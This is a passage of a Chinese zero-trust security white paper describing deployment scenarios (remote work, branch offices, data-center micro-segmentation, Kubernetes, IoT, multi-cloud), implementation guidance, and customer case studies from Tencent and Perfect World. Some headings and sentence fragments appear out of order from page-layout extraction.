运维需求:主要需求是能远程登陆运维管理平台,远程服务器登陆维护 等。 Web类的应用系统,零信任方案可以通过零信任Web网关代理模块, 将请求代理转发到内网服务器中; CS类的通讯、邮箱系统,通过零信任网关中的流量代理模块,将请求 转发至内网服务器中; 开发环境因涉及敏感代码,对于高安全要求的办公环境,可以将云桌 面或是RDP、SSH代理程序集成到零信任网关后,经过零信任认证后 登陆使用,实现数据不出公司; 对于测试环境,尤其涉及到大量图形处理的测试环境,零信任网关往 往能提供比VPN模式更优的速度。 远程运维需求中,通过零信任网关中的流量转发代理,或将堡垒机系 统集成至零信任网关后,通过零信任鉴权后再跳转使用,可以大幅增 强运维安全。 远程办公场景下正确的实施零信任方案后可以带来如下好处: a)可快速扩容:零信任网关可以通过负载均衡实现快速的横向扩展,来满足突发的远程办公需求; b)安全控制能力强:零信任把安全架构延伸到用户终端上,有更强的控制和感知能力; c)安全攻击面小:零信任远程办公方案中,唯一可被访问的只有零信任网关,所有内部资源全部被隐藏 在网关后,即便资源存在0day也难以被攻击到; d)易使用:用户一旦完成认证后,整个使用过程对用户不会有打扰,用户和在公司内部的权限维持一 致,有较好用户体验。 大的集团公司,员工分布在全国/全球的多个分支子公司或办事处,他们有安全访问集团内部资源的需求, 另外还存在着并购公司、合作(协作)公司员工的访问需求。 5.1.2 多分支机构访问集团内部资源 5.1.2.1 需求描述 分支子公司、办事处等地的职场网络,不一定有专线到集团内网(搭建专线价格昂贵),经常通过公网 VPN连接,存在安全性不足和访问效率低等问题。同时,并购公司、协作公司的网络安全管理机制与集团公司 很难保持一致,当其访问集团内网资源时,存在人员身份校验和设备安全可信等问题。 5.1.2.2 存在问题 受前置负载均衡的瓶颈影响。 在上述零信任的远程办公方案中,对需求实现处理方式如下: 零 信 任 实 战 白 皮 书 零 信 任 应 用 场 景 零信任产业标准工作组 整体的零信任网络架构设计不再区分集团内网、专线、公网等接入方式,通过将访问流量统一接入零信任 网关、零信任访问控制与保护引擎(零信任安全控制中心),实现在任意分支机构网络环境下的内部资源访 问。 针对集团、子公司的组织架构或者员工角色设置访问策略,员工可以访问的内部系统仅限于指定业务(细 粒度授权),不可越界。应保障访问人员身份、设备、链路的安全,同时子公司的终端或者账户如果有异常需 要及时阻断访问。 另外多数情况下,并购或者协作公司的内部安全建设标准并不统一,因此应加强终端设备的安全管理和保 护能力,标准化终端的安全配置。针对并购或协作企业用户的授权,还可以设置有效时间,超时后就无法再访 问内部资源。 用户存在跨境、跨运营商办公诉求,需要一种有良好用户体验且安全的办公解决方案。 一个企业的办公终端和业务服务器不在一个地区或者运营商网络。常见问题有:网络延迟比较大;或者存 在境外或者境内小运营商接入网络链路不稳定,丢包率高,导致根本无法远程访问和工作,或者无法连续性访 问跨境、跨运营商的企业内部服务等问题。 5.1.2.3 解决方案 5.1.3 跨境跨运营商办公 5.1.3.1需求描述 5.1.3.2存在的问题 零 信 任 应 用 场 景 零 信 任 实 战 白 皮 书 零信任产业标准工作组 5.1.3.3解决方案 通过在全球建设跨运营商的动态接入加速网络,实现对终端接入、零信任网关和业务服务器资源访问的访 问加速。 由于合规或内部安全要求,所有包含用户交易或身份信息等敏感信息的流量需要加密传输。而现代的大型 数据中心由于计算密度的增加以及虚拟化、容器技术的应用,导致传统的加密方式实施成本及运维难度加大。 5.2.1 主机间加密访问 5.2.1.1需求描述 1)传统基于业务开发的加密方式对业务侵蚀较大; 2)基于硬件设备的加密,成本较高且配置复杂; 3)业务变化频繁,需要更加灵活的、能够动态配置的流量加密方式。 5.2.1.2存在问题 5.2 数据中心内部访问 流量加密需求结合零信任理念,将控制平面与数据平面分离,在虚拟机或容器环境的节点(Node)上安装 微隔离客户端,通过统一的微隔离管理端进行加密策略的配置。为了便于业务梳理,可考虑增加业务流的可视 化拓扑,从而实现基于实际业务访问关系的加密策略配置。 微隔离管理端:采用标签体系对工作负载进行定义,即可实现加密策略的去IP化。例如定义某业务系统的 “APP1”标签主机可以访问数据库“DB1”标签主机的1521端口。去IP化后,当工作负载发生变化时,例如克隆 复制、IP变化等,微隔离客户端会将变化上传至微隔离管理端,管理端可自动计算环境变化导致的策略变化, 从而进行自动调整。 5.2.1.3解决方案 零 信 任 实 战 白 皮 书 零 信 任 应 用 场 景 零信任产业标准工作组 适用于大型数据中心场景,传统方式通常采用对数据中心网络分级分域的方式进行管理。但由于业务的发 展,一个网络区域内部的虚拟机数量可能会大幅增加,需要通过更快捷的方式实现数据中心内部东西向流量之 间的隔离和访问管理,缩减内部攻击面。 5.2.2 云数据中心虚拟机间访问 5.2.2.1需求描述 1)已有业务系统,由于长时间运行,业务关系复杂,很难通过人工形式进行有效梳理,从而导致东西向 安全策略的配置工作无从下手; 2)与南北向域间访问控制相比,东西向的访问控制策略条数随着工作负载的数量呈指数上升,高计算密 度下,通过人工方式配置策略不再可行; 3)新业务上线前,需要安全或运维部门进行访问控制策略的配置,如果配置效率低,将影响业务交付速 度。 5.2.2.2存在问题 1)对于已有系统,通过微隔离组件与CMDB(配置管理数据库)对接,实现业务流学习与精细化策略配 置 通过与CMDB的对接,将工作负载的属性信息读取到微隔离管理中心组件上,并自动生成对应的工作组 (微隔离能够按角色、业务功能等多维度对需要隔离的工作负载进行快速分组)及标签。通过自动化运维工具 批量部署微隔离客户端组件,通过IP作为媒介,安装好客户端的工作负载会自动接入微隔离管理中心组件的对 应工作组中并配置相应标签。 微隔离客户端会自动学习工作负载间的访问关系,绘制业务流量拓扑,同时将学习到的业务关系转换为业 务流信息上传到CMDB中,即可实现对已有系统的业务梳理。再由业务部门对业务流信息进行审核,审核通过 的即可回传至微隔离管理中心,管理中心将确定的业务流信息自动生成安全策略下发到各工作负载之上。 5.2.2.3解决方案 微隔离客户端:以长连接形式与管理端进行保活,当管理端生成加密策略时,客户端即可获取到对应策 略。工作负载间的加密可通过IPsec的方式进行,从而保障TCP和UDP均可进行加密,另外IPsec这种长连接形 式,更适用于服务间调用的场景。微隔离客户端也可将主机的连接信息,上报到微隔离管理端,管理端进行分 析匹配,从而绘制业务流量拓扑。 流量加密会增加工作负载的性能损耗,在规划时,建议按需配置。另外本方案需要安装微隔离客户端。 5.2.1.4实施风险提示 零 信 任 应 用 场 景 零 信 任 实 战 白 皮 书 零信任产业标准工作组 1)Kubernetes(k8s)容器环境下pod变化频繁,导致IP随之变化,传统基于IP的策略管理模型失效; 2)开源工具Network policy等配置繁琐,缺少阻断日志,无法排查异常通信; 3)海量节点的策略配置与下发,有完全去IP化的需求; 4)地址转换问题,例如pod访问容器外的数据库集群,传统方式会隐藏掉源pod的信息。 2)对于新建系统,通过微隔离组件与CMDB对接,实现安全与业务的同步交付 微隔离客户端默认安装在虚拟机操作系统的镜像中,业务部门需要在CMDB中说明新建系统内部、新建系 统与已有系统的业务流信息。当新业务上线时,微隔离管理中心除了读取CMDB中工作负载的属性信息外,还 将读取业务流信息,并基于业务流信息自动生成新的安全策略并覆盖原有安全策略,从而实现业务与安全的同 步交付。对于几百上千台虚拟机的情况下,这种方案可以大幅减少安全策略管理的工作量,并提升内部安全等 级。 图 基于微隔离技术的云数据中心内访问控制示意图 本方案依赖于CMDB系统,对于CMDB的标准化建设有一定要求。对于已有系统,如果业务未经过梳理, 则开始需要业务部门参与,存在一定工作量。 5.2.2.4实施风险提示 容器环境的应用使业务开发和部署更加灵活,但目前容器环境下内部普遍采用大二层网络,在安全建设层 面缺少基础的网络层访问控制,而开源工具配置复杂,很难使用和运维。因此需要一种方案能够对容器之间的 流量进行管理和控制。 5.2.3 k8s容器间访问 5.2.3.1需求描述 5.2.3.2存在问题 零 信 任 应 用 场 景 零 信 任 实 战 白 皮 书 零信任产业标准工作组 大数据应用场景下,数据访问包括以下几种方式: 1)终端用户通过访问内部应用,然后通过API调用方式访问数据; 2)外部应用或数据服务平台通过访问数据服务区提供的API服务,进而访问数据; 3)数据分析和运维人员可直接访问数据。 由于数据访问入口多、数据结构复杂,数据泄漏风险增大,因此需要对数据访问行为进行动态、细粒度的 数据访问控制。 尽管已经在应用层面上对不同的用户实施了访问控制,但如果某个应用系统被入侵或被控制,攻击者拥有 软件定义、面向业务、自动化是现代数据中心内部管理的三大趋势,对于容器环境的东西向管理同样参考 这三大技术趋势。整体方案包含两部分——微隔离客户端+管理端,在不改变业务及网络架构的前提下,自定 义对容器间进行访问控制。 对于k8s架构的容器环境,可通过在Node上部署微隔离客户端,实现对pod的Label、Namespace的识 别,Label信息可用于配置pod的身份,Namespace可用于划分工作组。同时k8s现有接口,可识别pod之间的 通信。 为了解决容器环境频繁上下线时,策略频繁计算导致性能瓶颈的问题,在配置过程中采用基于机器身份的 微隔离方案,利用SPA机制实现完全去IP化,策略的配置、执行完全以机器的身份作为标识,在地址转换场景 下也可识别真实的访问来源。 SPA应尽可能满足以下原则: 1)数据包必须被加密或认证; 2)数据包必须自行包含所有必要的信息,单独的数据包头不被信任; 3)生成和发送数据包必须不依赖于管理员或底层访问权限,不允许篡改原始数据包; 4)服务器必须尽可能无声地接收和处理数据包, 不发送回应或确认; 5)客户端层面增加对于阻断信息的日志,用于后续排查内部异常通信及策略准确性。 5.2.3.3解决方案 上述方案实施需要容器环境具备一定的架构规划,配置信息规范,例如规范定义Label及Namespace。采 用SPA机制可减少策略计算导致的延迟,但会增加性能损耗。 5.2.3.4实施风险提示 5.3.1 需求描述 5.3 大数据 5.3.2 存在问题 零 信 任 实 战 白 皮 书 零 信 任 应 用 场 景 零信任产业标准工作组 如上图所示,在大数据应用场景下,针对终端用户、外部应用或数据服务平台、数据分析和运维人员的数 据访问,部署零信任方案,在用户身份、设备安全、应用安全、链路安全等信任属性基础上,增加数据类别、 数据级别、数据操作(增删改查)等更多数据本身的属性,实施动态、细粒度的访问控制。这样部署后,即便 某一应用系统遭受到攻击,也只能攻击该应用系统所能操控的数据范围,而不会影响到大数据环境下其它数据 的安全。 物联网属于典型的大型分布式网络系统,每一个数据采集节点都属于一个分布式节点,该节点往往缺少本 地的防护能力,容易被不法分子利用,导致整个物联网系统的安全坍塌。可见物联网的本质属于“无边界网 络”,其安全要求不仅体现在传统网络层面上的节点安全、通信安全、后端业务应用的安全等方面,还包括其在 “无边界网络”环境下的感知层的安全,即分布式节点的各类传感器的安全,以及在对应复杂的业务策略带来的 各种管理控制要求等。物联网终端、连接、管控等方面可实现以零信任理念为主导,形成动态防御的体系。 1)终端资产不可见:终端资产多为传感器,自身结构简单、功能单一,不具备传统网络终端可感知、可 自身防护、可管控等特点,部署完成之后很难知道终端的状态,同时对传感器上报的数据也没有安全手段予以 5.4.1 需求描述 5.3.3 解决方案 5.4.2 存在问题 5.4 物联网 应用系统访问权限后能够访问到数据资源,造成数据泄露风险。此外,拥有较高数据访问权限的数据分析和运 维人员也会对数据安全造成潜在威胁。 零 信 任 实 战 白 皮 书 零 信 任 应 用 场 景 零信任产业标准工作组 物联网安全防护解决方案主要根据实际应用场景的需求,安全防护痛点,有针对性的形成集中管控、资产 可视、网络可控和安全可视的整体安全防护解决方案。该方案是针对物联网安全需求而设计,方案特色主要体 现在以下几点: 1)资产可视。物联网终端安全准入控制,基于物联网节点感知技术,通过丰富的物联网设备指纹基线 库,并且支持结合特定需求,定制指纹库,实现物联网设备准入控制和行为诊断,可以有效评估物联网设备的 安全状态,发现终端异常行为,及时阻断。对于物联网资产,识别为零信任体系中的环境因子,在感知层提供 环境感知基础; 2)传感器接入提供安全防护。物联网安全接入网关能够做到对传感器(人脸识别器、车辆识别器、道 闸、智能门禁)做到识别、动态展现、异常接入检测告警,这是传统网关类设备不具备的。连接方式丰富,支 持LoRa、wifi、RS485等接入方式,能够应对各种网络变化和对有线连接的备份。在物联网接入层,确认传感 器的状态之后,形成接入层安全状态的模型,上报上层管理中心,接入设备的安全状态发生变化时,可接受管 防护,终端和链路均不安全; 2)连接方式不可知:目前传感器的连接以非IP的连接方式为主,传统的手段在物联网的应用场景下无法起 到应有的效果,需针对新应用场景提供可用的管理和防护方法,满足新业务场景的需求; 3)网络不可控:物联网网络连接的特点是次数少、速率慢、数据包小,很难像传统网络一样形成可管可 控的管理系统,也无法提供及时有效的安全防护手段,从网络防护的角度上看,网络状态处于不可控; 4)运维不可行:物联网终端存在分布范围广、终端类型多、协议难管理、拓扑无固定模式等特点,需要 针对此类特点提供更可靠的运维模式。 5.4.3 解决方案 零 信 任 实 战 白 皮 书 零 信 任 应 用 场 景 零信任产业标准工作组 中小企业用户,经常使用多个公有云厂商的云服务,在不同的公有云上部署不同的业务。中小企业用户不 愿意也没有能力在多个云上构建企业网络来保障访问策略的统一,但需要安全的访问多个云上的资源。 理中心的策略,切断传感器的连接甚至是接入层的连接,保证物联网汇聚节点的安全; 3)网络可控。物联网终端安全准入系统通过监听通信链路的网络流量,识别终端模型,支持对接第三方 的网关设备,能够确保通信链路的安全性。可以持续监控传输流量的协议类型,识别传感器的业务种类,进行 业务安全行为分析,为设备标注可信标签,快速的检测实时网络攻击。网络可控提供了网络行为的模型基线, 网络流量发生的时间、流量大小、异常流量等成为风险评估因子,为管理中心提供网络行为评估基础。 4)运维实施简单、成本低。所有安全设备部署做到即插即用,网关上电、插网线即可完成安装工作,网 关自动注册到云端设备管理平台,完成自动连接和安全配置下发工作。通过集中的管理平台,用户可以同时管 理成千上万的分布式节点,同时管理安全策略,相对于传统需要耗费巨大的时间和人力成本的方案,统一管理 的模式使物联网业务的安全部署更加简单、快捷、灵活、易用和高效。顶层管理中心对传感器环境因子和网络 行为因子进行综合评估,可形成完整的安全态势分析,通过预置的安全策略保障物联网安全实现动态防护。 5.5.1 多云办公安全访问 5.5.1.1需求描述 用户要适配不同的云服务商提供的访问控制策略接口,没有统一入口,缺少跨公有云的统一资源安全访问 能力。 5.5.1.2存在问题 5.5.1.3解决方案 5.5 多云安全访问和混合云服务器运维 零 信 任 实 战 白 皮 书 零 信 任 应 用 场 景 零信任产业标准工作组 需要为终端设备提供多个公有云连接通道的能力,多个云复用同一个零信任安全控制中心,提供统一的访 问控制策略,通过低流量的策略同步或者其他不影响带宽的机制,做到统一的授权管理。用户在具体要访问某 个公有云上业务的时候,就可以通过安全控制中心,对接到相应云的零信任安全网关入口进行访问。 某些大型跨国公司,其业务及服务对象遍布全球多个区域。为了提供良好的用户体验、满足不同区域的合 规性要求,采用就近部署服务的方式,需要使用混合云、分布式数据中心的方式部署相关业务服务器。如何进 行服务器的安全运维需要安全、便捷的解决方案。 5.5.2 混合云服务器安全运维 5.5.2.1需求描述 服务器承载业务核心数据,分布部署在运维上将带来授权失控、管理端口对外暴露等风险,同时运维在保 证安全的前提下也需要兼顾效率。 5.5.2.2存在问题 为避免企业的运维人员使用静态票据登录云服务器远程运维,通过安全网关对运维人员进行集中身份认证 (使用企业的统一身份认证),在对用户和终端设备做身份认证、安全评估和访问授权后,为当前会话临时生 成证书,作为服务器登录的票据,解决服务器运维登录问题。同时安全网关也减少了服务器高危端口直接对外 暴露的风险。 另外,针对外部合作方参与协作运维的场景,可以通过企业OA身份认证与合作方身份管理系统对接,合作 方人员可直接使用自己的身份认证结果,从而避免合作方使用静态票据登录服务器可能泄露带来的安全风险。 企业内部IDC网路,默认提供对外入口比较固定,容易遭受DDoS攻击,也比较给企业管理者带来一定的担 忧。但是企业面临业务发展,不得不开放远程的办公访问或者服务接入。需要一个既能够对外提供服务,又能 够从架构上面保证相对安全的方案。 5.5.2.3解决方案 5.6.1 需求描述 机房默认对外暴露的入口,带来DDoS或者其他入侵的担忧和风险。 5.6.2存在问题 通过提供一个额外的云上接入安全服务,提供对各种入口流量的安全处理,实现对来源流量的网络策略管 理。 5.6.3解决方案 5.6 私有机房对外访问入口的安全防护 零 信 任 实 战 白 皮 书 零 信 任 应 用 场 景 零信任产业标准工作组 如图,在云上接入安全服务,将原有的IDC入口防护放到云上实现,云上提供的全网络接入点,另外通过 前置购买动态CDN,可以降低网络访问的延迟,增加远程访问的体验,保护IDC对外开放的入口。有些云服务 厂商提供默认的DDoS防护能力,如果防护能力不足的话可以再追加购买DDoS防护,弹性扩容。然后在云上接 入安全服务中部署零信任网关,网关和用户的IDC机房连接,可以通过虚拟的专线网络,也可以通过物理专线 做连接。客户终端流量通过动态CDN,通过云上接入安全服务,再进入企业的IDC内网访问对应的资源。过程 中可以保障用户业务系统所在的机房不直接对外暴露访问入口。 零 信 任 实 战 白 皮 书 零 信 任 应 用 场 景 零信任产业标准工作组 06 零信任落地指引 6.1 实施概述 零信任安全理念在企业的落地不会是一蹴而就,也绝非仅靠采购一些零信任安全产品或者部署一些零信任 安全组件就能够简单实现。需要企业根据自身业务系统建设阶段、人员和设备管理情况、现有网络环境、企业 网络安全威胁、现有安全机制、预算情况、安全团队人员能力等因素综合考虑,制定零信任安全目标和实施计 划,分阶段的逐步落地,持续提升企业零信任安全能力,是一个不断完善、持续优化的过程。 结合零信任理念在企业落地的具体场景和安全需要,本章将分为全新建设零信任架构网络和在已有网络架 构上改造升级两种情况分别介绍。全新建设是指企业准备在新业务系统和网络的规划、建设过程中引入零信任 理念,将零信任落地与企业网络建设过程同步进行,在企业网络建设完成时就满足了基本的零信任特性和安全 能力要求。已有网络架构升级是指企业将现有的网络,根据零信任理念进行改造,逐步打造零信任安全能力 (对现有能力的升级、替换或者全新部署),并将业务系统逐步迁移到零信任网络中。这种情况零信任网络和 企业已有的传统网络可能并存一段时间,并最终完全过渡到零信任网络下。 无论是全新搭建还是已有网络架构升级,实施过程应考虑以下因素: 1)有专门的安全团队和人员牵头和推进实施; 2)领导的重视(往往决定了落地的难易程度); 3)有明确的安全目标(以及阶段性目标); 4)有适配达到安全目标的足够预算; 5)业务团队的充分理解和配合; 6)第三方厂商的配合。 无论是全新搭建还是已有网络架构升级,实施过程可以参考以下方法和步骤: 1)明确范围 全面梳理和确认过程中涉及的人员、设备、业务系统、数据资产等保护对象,并考虑到实施过程中可能涉 及的网络位置(集团总部、分支机构、云环境等)等因素。从应用场景进行梳理可能是比较好的一种方式。 2)确定安全目标 根据零信任网络保护对象的重要程度,以及企业可能面临的安全风险、企业安全现状、团队能力、可投入 的资源等因素,确定零信任网络需要建设的安全能力,以及能力实现的强弱程度(并非一定要把所有最高级别 的安全能力手段都加于企业身上,而是应根据企业实际需求适配,但需要保障零信任基本能力的建设)。 3)制定实施计划 根据已确定的安全目标、企业现状,制定实施计划,明确各实施阶段的实施目标和里程碑标志(能够验证 目标已达成的事项)。 4)分阶段实施 零 信 任 实 战 白 皮 书 零 信 任 落 地 指 引 零信任产业标准工作组 企业全新建设零信任网络时,在实施过程应该注意以下事项: 1)明确范围时,应对新建系统的访问流程进行遍历,梳理企业内部资源(业务系统、服务接口等)的所 有访问路径、用户(含角色等属性)等,并明确是否支持员工使用BYOD设备等场景需求。分析业务流可以用 流程图分析,也可以通过自动化方法对业务系统选择非入侵的方式对流量进行长期记录,并对网络流量进行分 析,发现系统中存在哪些网络连接。 2)确定安全目标时,确认需要建设的零信任组件和安全能力,并制定阶段性目标(可以区分企业现阶段 能够掌握的能力,以及未来要完善或突破的能力)。应规划和建设统一的身份管理和认证机制,包括对用户、 终端设备、应用等的数字身份管理和认证;建设统一的访问控制中心,实现对来自所有用户、终端设备、应用 等的访问请求的授权决策。根据企业应用场景、内部资源支持的协议和应用架构(如B/S应用、C/S应用)、 工作负载所处环境(物理机、虚拟机、容器等)等因素,确认零信任Agent、网关、隔离组件等实现方式和部 署模式。 3)制定实施计划和实施过程,应注意根据确定的阶段性目标,分步骤实施。在建设完相关组件后,并根 据最小权限原则定义访问控制策略,同时需注意集中策略管理带来的风险,对零信任策略访问组件实行强访问 限制(也就是对零信任核心组件本身应用零信任理念防护)。企业的安全团队可以制定企业级的访问控制策 略,业务团队可以提供更细粒度的应用访问控制策略。 4)持续完善和优化时,应注意不仅仅是完善零信任组件能力的建设这类“硬”实力的提升,还要根据零信 任理念配套提升企业的安全“软”实力,如组织企业员工安全意识培训、组建安全组织、建立安全运营机制等。 同时,对于零信任组件安全能力的优化,还可以通过日志分析等方式,对安全目标进行反馈和系统调优,形成 闭环,有益于了解如何持续改进零信任网络,逐步降低零信任网络中人工介入的工作量,实现更为全面的自动 化和自适应的能力。 根据制定的实施计划,推动相关人员实施。并按照项目管理的模式,按时推进,跟踪进展,适时调整,逐 个阶段的实现。 5)持续完善和优化 在完成零信任网络的基本建设后,应该不断和提升丰富企业的零信任安全能力(包括持续加强零信任组件 的自身安全防护、持续提升企业的零信任网络安全运营能力等),最终从安全技术、安全意识、安全运营、组 织建设等方面持续完善和优化。 6.2 全新建设实施指引 企业将已有网络架构升级到零信任架构时,在实施过程应该注意以下事项: 1)明确范围时,首先要确认需要迁移到零信任架构下的业务系统、网络、用户和终端设备等保护对象, 6.3 已有网络架构升级实施指引 零 信 任 实 战 白 皮 书 零 信 任 落 地 指 引 零信任产业标准工作组 然后进行业务访问流程的全面梳理。 2)确定安全目标时,应确认需要建设的零信任组件和安全能力,并和企业现有的安全能力进行对比,梳 理出需要补全的安全能力。 3)制定实施计划和实施过程,首先要确认是采取优先建设完整的零信任基本安全能力,还是先建立部分 零信任安全能力而优先保障业务的覆盖度。在实施时,尤其要关注与企业现有安全产品/系统的对接问题(第三 方供应商的配合程度会影响实施时长)。在业务迁移的顺序选择上,可以先选择非核心业务进行试点,逐步将 核心业务覆盖;同时要注意设计一定的纠错和缓冲机制(比如同时支持VPN访问和零信任网络访问),在零信 任架构网络出现问题时,能保证业务的正常访问,通过方案调整保障业务的平稳迁移,过程中还应加强对用户 使用零信任网络的引导。 4)持续完善和优化时,应注意零信任组件和架构落地部署和运行只是开始,要持续将零信任理念与企业 现有安全运营机制、安全组织模式等相结合。 零 信 任 实 战 白 皮 书 零 信 任 落 地 指 引 零信任产业标准工作组 07 行业客户案例 7.1.1 需求 7.1 某全球综合性互联网公司案例(腾讯) 企业网络现状和安全需求: 1)企业规模大:6万员工,办公设备10万多台,设备类型多样化(Mac、Windows、台式机、笔记本、移 动设备等)。 2)业务类型多:有金融、社交、游戏、云服务等业务,使用的办公工具不一样,业务对应的办公安全敏 感程度不一样。 3)职场分部多:有遍布各地的办事处,有通过专线连接集团企业网络的职场,特殊外包职场,投后公 司,切分公司等。 4)协作厂商多:供应商协作系统、协作研发运维。 5)高级威胁:面临专业黑客组织、数据的泄密风险。 6)员工体验:面临着职员年轻化对办公领域,接入体验的要求。 7)天灾或者其他应急场景:台风、疫情、过节突发业务高峰等远程办公诉求,涉及内部系统使用、研 发、运维等要求。 8)业务特殊性:跨境收发邮件、登入办公系统,在家研发、运维。 需要一种灵活的安全解决方案,在大量用户、海量业务、多分支职场、经常面临高级威胁攻击、远程办 公、跨境办公等复杂环境下,保护访问企业内部资源的安全。 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 通过在公司建立iOA零信任网络,实现以下安全能力: 1)身份安全可信 身份认证提供多种认证方式,手机端软token/硬件token/扫码认证等对接公司内部的统一身份认证系统。 2)设备安全可信 终端操作系统环境安全,包括配备终端安全防护、杀毒、补丁、合规检查、基础加固、EDR检测等能力。 由于公司各业务部门或者集团子公司业务需求不一样,安全保护的诉求不一样,按照不同业务的安全等级,分 配不同的安全策略。 硬件可信,非公司提供的硬件设备资产,采用安全基线检查,满足安全合规要求则可以接入。疫情期间无 法做到公司为所有人发送硬件设备,采用安全基线合规、合法身份注册等方式实现设备可信。 3)应用进程可信 指定终端可信应用进程白名单,终端应用执行程序的白名单特征包含:发行商、签名、HASH、签名使用 的根证书等,只有满足安全要求的进程,可以发起对企业内部资源的访问,减少未知恶意代码入侵风险。一般 来说,一个企业的办公应用的数量是有限的,如果一家企业对安全有较高需求,并且潜在APT、供应链攻击风 险,采用这种方式比较简单且有效果。 进程安全上面,进行病毒检测,未知灰进程二次检测,通过第三方威胁情报接口、沙箱检测等方式,安全 运营人员分析后再决策是否加白名单放行。 7.1.2 方案 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 4)持续访问控制 支持所有访问关键对象的组合策略访问控制,能够支持针对不同的人员(角色/部门等)-应用白名单清单 -可访问的业务系统的组合关系,下发不同的访问策略。访问控制策略到终端应用进程级别,这样就大大增加 了攻击难度。 当企业发现安全风险,影响到这个访问过程涉及到的关键对象的时候,自身安全检测可以发起针对人、设 备、访问权限的禁止阻断。 5)链路保护与加速优化 保护链路设计采用按需建立连接的方式,不采用传统的安全隧道模式,满足类似浏览器访问网页或者一些 本地应用有并发连接的访问场景,释放业务系统的访问并发能力,在零信任方案下通过分离登录、与链路建立 上下文、根据访问授权票据上下文减少重新登录等方式,很好的提升访问连接稳定性和用户体验。 实际效果上,通过模拟不同网络环境下访问内网Web门户系统,零信任和VPN方案在登录和Web页面加载 完成时耗的测试情况如下: 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 在企业内部,提供平行扩容的网关、链路加密等能力,避免攻击者通过内部沦陷节点进行流量分析,企业 在做完传统的终端设备网络准入后,依然要做身份校验和权限控制来访问具体的业务系统。通过网关隔离了用 户和业务系统的直接连接。 在互联网端,提供链路加密与全球接入点部署加速,满足弱网络(如小运营商,丢包率高)、跨境(跨洋 线路,延迟大)接入网络延迟等问题,解决频繁断线重连,提升远程办公体验,全球链路加速如下所示。 6)通过持续监测基线变化和企业内部SOC联动做动态的访问控制 通过安全合规基线变化做动态访问控制。零信任的访问控制,从终端可以收集到对应的安全安全基线状 态,根据企业运营需求,做对应的动态访问控制。在发现基线安全状态存在风险的时候及时阻断访问。 另外由于内部的SOC平台集成了所有企业内部的安全设备/系统的日志和检测结果,并具备很强的安全分 析能力。在检测到对用户身份、终端设备等关键对象非常明确的安全风险时,可借助检测结果的信息联动零信 任系统进行阻断。对于SOC平台难以自动化判断风险,由安全运营团队经过人工分析后,将确认的风险告警, 联动零信任系统进行阻断。 7)垂直业务流量联动登录,提升用户体验 对于Web类流量,终端认证结果可以在跟着Web流量进入网关之后,提供一键授权,统一登录的能力。 对于SSH、RDP等流量,可以提供API与服务器运维区域运维跳板机进行身份联动,做统一权限管理。终端 使用SSH客户端工具的时候,如果处于零信任网络工作的环境中,支持快速登录到跳板机器,进行服务器访 问。从跳板机器登录之后,对应的运维访问的安全可以在跳板机入口上实施,比如命令限制、审计、阻断访问 等。 8)其他办公体验改进 通过iOA终端侧的软件,提供快速办公应用入口,让用户在登录后直接获取对应企业网络提供的应用资源 或者OA系统入口资源。并提供常用的终端异常诊断修复、自助网络修复工具等能力,减少企业IT管理成本。 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 疫情期间,全公司6万员工,10万终端使用零信任网络通道。远程办公安全网络通道机器从6台快速扩容到 140台,增长23倍,承载流量从不到1G增长至最高20G,增长近20倍,完整支持各类办公场景,包括:远程直 接OA办公、研发、运维等。 7.2.1 需求 在在线游戏行业中,由于游戏行业的代码、程序、用户数据、系统权限、后台权限等都可以用来获利,因 此游戏行业内的黑客入侵、内部舞弊等风险远大于其他公司。 实际的工作中,公司内的安全管理人员往往又存在人少、事多、管理能力跟不上公司发展速度等问题,大 体上普遍存在以下问题: 1)不清楚资产数量:自带设备、过期资产、设备信息篡改等,往往导致管理员难以知道自己的资产真实 情况,导致往往被攻击很久后都得不到响应,或是成为长期的渗透入口; 2)业务攻击面暴露:比如因失效的防火墙策略,导致内网业务对公网暴露,内部系统对全公司开放,违 规申请规则,规则过期等,导致系统暴露在外,进而被攻击渗透; 3)账号权限管理混乱:一般公司会有成百,或上千个系统,由于系统的权限分散,账号不统一,大多数 账号在离职后都难以得到回收,同时存在弱口令等问题,导致这些账号成为攻击跳板; 4)分散的办公、IDC位置:分散的IDC、分公司需要满足互访需求,往往存在权限管控失效,出现安全问 题,或是通过分支机构渗透至核心区域; 5)未知风险挑战:对于攻击挑战最大的是往往很难得知,攻击会从什么地方发起,以什么方式发起,进 而难以防御。 7.2.2 方案 完美的零信任实现过程,在2015年调研,从2016年开始研发,采用分阶段开发部署,持续迭代方式,直 至2019年实现零信任架构的完整闭环,和全场景的覆盖。 零信任的核心思想之一是“用户+设备+应用”的信任链,基于这个核心思想,通过拆分系统,分步骤实施, 最后进行闭环,总体上分了三个阶段: 1)基础系统阶段 这个阶段主要是解决了一些核心的基础系统的开发和部署,比如集中化的统一认证架构解决了OTP认证问 题,以及集中化鉴权问题。另外还有一个核心系统是应用网关的开发和部署,通过它解决了业务的接入和集中 管控问题,很好的收拢了攻击面。这两个基础系统部署完后,账号基本也就同步梳理完了,实现了统一账号、 统一认证、统一鉴权的目标。 7.1.3 效果 7.2 某大型多分支游戏公司案例(完美世界) 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 主要模块核心功能如下: 零信任终端Agent:用户侧的核心组件,支持Windows、Mac、iOS、Android主要功能如下: a)终端授权:即允许该终端被什么用户使用,通过对用户认证授权建立终端使用者绑定关系; b)安全准入:允许仅满足安全基线的终端入网,对不满足安全基线的终端进行自动隔离; c)安全代理:通过对后端应用系统的访问代理,实现对后端业务的使用统一走网关访问,起到收敛攻击 面的作用; 2)扩展系统阶段 这个阶段主要做了扩展工作,包括零信任架构中的安全资产库、SOC等系统,通过这些系统可以实现资产 管控、告警分析、办公集成等功能,大幅扩展了架构能力。 3)架构闭环 第三个阶段随着Windows、Mac端的Agent,网络准入系统等模块全部开发完毕,实现了零信任中最重要 的一环,“用户+设备+应用”的信任链建立,可以对特定业务启用高强度的防护策略,以及设备的网络准入等控 制,实现了全端、全链路的防护。 7.2.3 架构 完美的零信任实现上,实现用户全终端Agent、零信任网关、认证引擎、策略引擎以及配套的OTP系统、 证书系统、账号管理系统、策略管理服务、管理后台,以及进行集中化安全事件分析的SOC平台。 行 业 客 户 案 例 零 信 任 实 战 白 皮 书 零信任产业标准工作组 